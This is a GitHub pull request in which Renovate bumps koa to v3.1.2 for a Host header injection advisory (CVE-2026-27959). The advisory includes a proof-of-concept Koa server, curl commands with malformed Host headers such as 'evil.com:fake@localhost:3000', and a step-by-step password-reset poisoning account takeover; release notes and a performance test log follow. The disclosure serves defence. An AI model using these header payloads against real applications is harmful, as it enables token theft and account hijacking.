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fix(deps): update dependency koa to v3.1.2 [security]#3850

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renovate-npm-koa-vulnerability
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fix(deps): update dependency koa to v3.1.2 [security]#3850
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renovate-npm-koa-vulnerability

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@renovate renovate bot commented Mar 1, 2026

This PR contains the following updates:

Package Change Age Confidence
koa (source) ^2.15.3 → ^3.0.0 age confidence
koa (source) 3.1.1 → 3.1.2 age confidence
koa (source) ^2.15.4 → ^3.0.0 age confidence

GitHub Vulnerability Alerts

CVE-2026-27959

Summary

Koa's ctx.hostname API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a @ symbol (e.g., evil.com:fake@legitimate.com) is received, ctx.hostname returns evil.com - an attacker-controlled value. Applications using ctx.hostname for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks.

Details

The vulnerability exists in Koa's hostname getter in lib/request.js:

// Koa 2.16.1 - lib/request.js
get hostname() {
  const host = this.host;
  if (!host) return '';
  if ('[' === host[0]) return this.URL.hostname || ''; // IPv6 literal
  return host.split(':', 1)[0];
}

The host getter retrieves the raw header value with HTTP/2 and proxy support:

// Koa 2.16.1 - lib/request.js
get host() {
  const proxy = this.app.proxy;
  let host = proxy && this.get('X-Forwarded-Host');
  if (!host) {
    if (this.req.httpVersionMajor >= 2) host = this.get(':authority');
    if (!host) host = this.get('Host');
  }
  if (!host) return '';
  return host.split(',')[0].trim();
}

The Problem

The parsing logic simply splits on the first : and returns the first segment. There is no validation that the resulting string is a valid hostname per RFC 3986 Section 3.2.2.

RFC 3986 Section 3.2.2 defines the host component as:

host = IP-literal / IPv4address / reg-name
reg-name = *( unreserved / pct-encoded / sub-delims )
unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
sub-delims = "!" / "$" / "&" / "'" / "(" / ")" / "*" / "+" / "," / ";" / "="

The @ character is explicitly NOT permitted in the host component - it is the delimiter separating userinfo from host in the authority component.

Attack Vector

When an attacker sends:

Host: evil.com:fake@legitimate.com:3000

Koa parses this as:

API Returns Notes
ctx.get('Host') "evil.com:fake@legitimate.com:3000" Raw header
ctx.hostname "evil.com" Attacker-controlled
ctx.host "evil.com:fake@legitimate.com:3000" Raw header value
ctx.origin "http://evil.com:fake@legitimate.com:3000" Protocol + malformed host

The ctx.hostname API returns evil.com because the parser splits on the first : without understanding that evil.com:fake@legitimate.com is a malformed authority component where evil.com:fake would be interpreted as userinfo by a proper URI parser.

Additional Concern: ctx.origin

Koa's ctx.origin property concatenates protocol and host without validation:

// lib/request.js
get origin() {
  return `${this.protocol}://${this.host}`;
}

Applications using ctx.origin for URL generation receive the full malformed Host header value, creating URLs with embedded credentials that browsers may interpret as userinfo.

HTTP/2 Consideration

Koa explicitly checks httpVersionMajor >= 2 to read the :authority pseudo-header:

if (this.req.httpVersionMajor >= 2) host = this.get(':authority');

The same vulnerability applies - malformed :authority values containing userinfo would be accepted and parsed identically.

PoC

Setup

// server.js
const Koa = require('koa'); 
const app = new Koa();

// Simulates password reset URL generation (common vulnerable pattern)
app.use(async ctx => {
  if (ctx.path === '/forgot-password') {
    const resetToken = 'abc123securtoken';
    const resetUrl = `${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken}`;
    
    ctx.body = {
      message: 'Password reset link generated',
      resetUrl: resetUrl,
      debug: {
        rawHost: ctx.get('Host'),
        parsedHostname: ctx.hostname,
        origin: ctx.origin,
        protocol: ctx.protocol
      }
    };
  }
});

app.listen(3000, () => console.log('Server on http://localhost:3000'));

Exploit

curl -H "Host: evil.com:fake@localhost:3000" http://localhost:3000/forgot-password

Result

{
  "message": "Password reset link generated",
  "resetUrl": "http://evil.com/reset?token=abc123securtoken",
  "debug": {
    "rawHost": "evil.com:fake@localhost:3000",
    "parsedHostname": "evil.com",
    "origin": "http://evil.com:fake@localhost:3000",
    "protocol": "http"
  }
}

The password reset URL points to evil.com instead of the legitimate server. In a real attack:

  1. Attacker requests password reset for victim's email with malicious Host header
  2. Server generates reset link using ctx.hostname → https://evil.com/reset?token=SECRET
  3. Victim receives email with poisoned link
  4. Victim clicks link, token is sent to attacker's server
  5. Attacker uses token to reset victim's password

Additional Test Cases

# Basic injection
curl -H "Host: evil.com:x@legitimate.com" http://localhost:3000/forgot-password

# Result: hostname = "evil.com"

# With port preservation attempt
curl -H "Host: evil.com:443@​legitimate.com:3000" http://localhost:3000/forgot-password  

# Result: hostname = "evil.com"

# Unicode/encoded variations
curl -H "Host: evil.com:x%40legitimate.com" http://localhost:3000/forgot-password

# Result: hostname = "evil.com"

Deployment Consideration

For this attack to succeed in production, the malicious Host header must reach the Koa application. This occurs when:

  1. No reverse proxy - Application directly exposed to internet
  2. Misconfigured proxy - Proxy doesn't override/validate Host header
  3. Proxy trust enabled (app.proxy = true) - X-Forwarded-Host can be injected
  4. Default virtual host - Server is the catch-all for unrecognized Host headers

Impact

Vulnerability Type

  • CWE-20: Improper Input Validation
  • CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

Attack Scenarios

1. Password Reset Poisoning (High Severity)

  • Attacker hijacks password reset tokens by poisoning reset URLs
  • Requires victim to click link in email
  • Results in account takeover

2. Email Verification Bypass

  • Attacker poisons email verification links
  • Can verify attacker-controlled email on victim accounts

3. OAuth/SSO Callback Manipulation

  • Applications using ctx.hostname for OAuth redirect URIs
  • Attacker redirects OAuth callbacks to malicious server
  • Results in token theft

4. Web Cache Poisoning

  • If responses are cached without Host in cache key
  • Poisoned URLs served to all users
  • Persistent XSS/phishing via cached responses

5. Server-Side Request Forgery (SSRF)

  • Internal routing decisions based on ctx.hostname
  • Attacker manipulates which backend receives requests

Who Is Impacted

  • Direct impact: Any Koa application using ctx.hostname or ctx.origin for URL generation without additional validation
  • Common patterns: Password reset, email verification, webhook URL generation, multi-tenant routing, OAuth implementations

Release Notes

koajs/koa (koa)

v3.1.2

Compare Source

What's Changed

New Contributors

Full Changelog: koajs/koa@v3.1.1...v3.1.2

v3.1.1

Compare Source

What's Changed

Full Changelog: koajs/koa@v3.1.0...v3.1.1

v3.1.0

Compare Source

==================

fixes

  • [2ee32f5] - fix: pin debug@~3.1.0 avoid deprecated warnning (#​1245) (fengmk2 <<fengmk2@​gmail.com>>)

others

v3.0.3

Compare Source

What's Changed

Full Changelog: koajs/koa@v3.0.2...v3.0.3

v3.0.2

Compare Source

What's Changed

New Contributors

Full Changelog: koajs/koa@v3.0.1...v3.0.2

v3.0.1

Compare Source

What's Changed

Full Changelog: koajs/koa@v3.0.0...v3.0.1

v3.0.0

Compare Source

==================

fixes

  • Avoid redos on host and protocol getter

v2.16.4

Compare Source

What's Changed

Configuration

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🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.

  • If you want to rebase/retry this PR, check this box

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@renovate renovate bot added the dependencies Pull requests that update a dependency label Mar 1, 2026
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@github-actions github-actions bot added type: tests Testing related pkg: backend Changes in the backend package. pkg: auth Changes in the GNAP auth package. labels Mar 1, 2026
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🚀 Performance Test Results

Test Configuration:

  • VUs: 4
  • Duration: 1m0s

Test Metrics:

  • Requests/s: 43.60
  • Iterations/s: 14.53
  • Failed Requests: 0.00% (0 of 2623)
📜 Logs 

> performance@1.0.0 run-tests:testenv /home/runner/work/rafiki/rafiki/test/performance
> ./scripts/run-tests.sh -e test "-k" "-q" "--vus" "4" "--duration" "1m"

Cloud Nine GraphQL API is up: http://localhost:3101/graphql
Cloud Nine Wallet Address is up: http://localhost:3100/
Happy Life Bank Address is up: http://localhost:4100/
cloud-nine-wallet-test-backend already set
cloud-nine-wallet-test-auth already set
happy-life-bank-test-backend already set
happy-life-bank-test-auth already set
     data_received..................: 947 kB 16 kB/s
     data_sent......................: 2.0 MB 34 kB/s
     http_req_blocked...............: avg=6.82µs   min=2.22µs   med=5.09µs   max=768.04µs p(90)=6.23µs   p(95)=6.79µs  
     http_req_connecting............: avg=815ns    min=0s       med=0s       max=716.01µs p(90)=0s       p(95)=0s      
     http_req_duration..............: avg=91.11ms  min=8.94ms   med=73.73ms  max=460.46ms p(90)=160.61ms p(95)=180.7ms 
       { expected_response:true }...: avg=91.11ms  min=8.94ms   med=73.73ms  max=460.46ms p(90)=160.61ms p(95)=180.7ms 
     http_req_failed................: 0.00%  ✓ 0         ✗ 2623
     http_req_receiving.............: avg=87.05µs  min=28.77µs  med=75.64µs  max=1.78ms   p(90)=116.43µs p(95)=152.57µs
     http_req_sending...............: avg=40.85µs  min=9.27µs   med=27.74µs  max=4.1ms    p(90)=42.11µs  p(95)=56.11µs 
     http_req_tls_handshaking.......: avg=0s       min=0s       med=0s       max=0s       p(90)=0s       p(95)=0s      
     http_req_waiting...............: avg=90.98ms  min=8.73ms   med=73.65ms  max=460.38ms p(90)=160.51ms p(95)=180.59ms
     http_reqs......................: 2623   43.600696/s
     iteration_duration.............: avg=275.06ms min=172.29ms med=264.41ms max=1s       p(90)=327.39ms p(95)=376.35ms
     iterations.....................: 874    14.528025/s
     vus............................: 4      min=4       max=4 
     vus_max........................: 4      min=4       max=4

@renovate renovate bot force-pushed the renovate-npm-koa-vulnerability branch from a5fe458 to 3bf29c0 Compare March 5, 2026 17:43
@renovate renovate bot force-pushed the renovate-npm-koa-vulnerability branch from 3bf29c0 to e54a3cc Compare March 14, 2026 19:51
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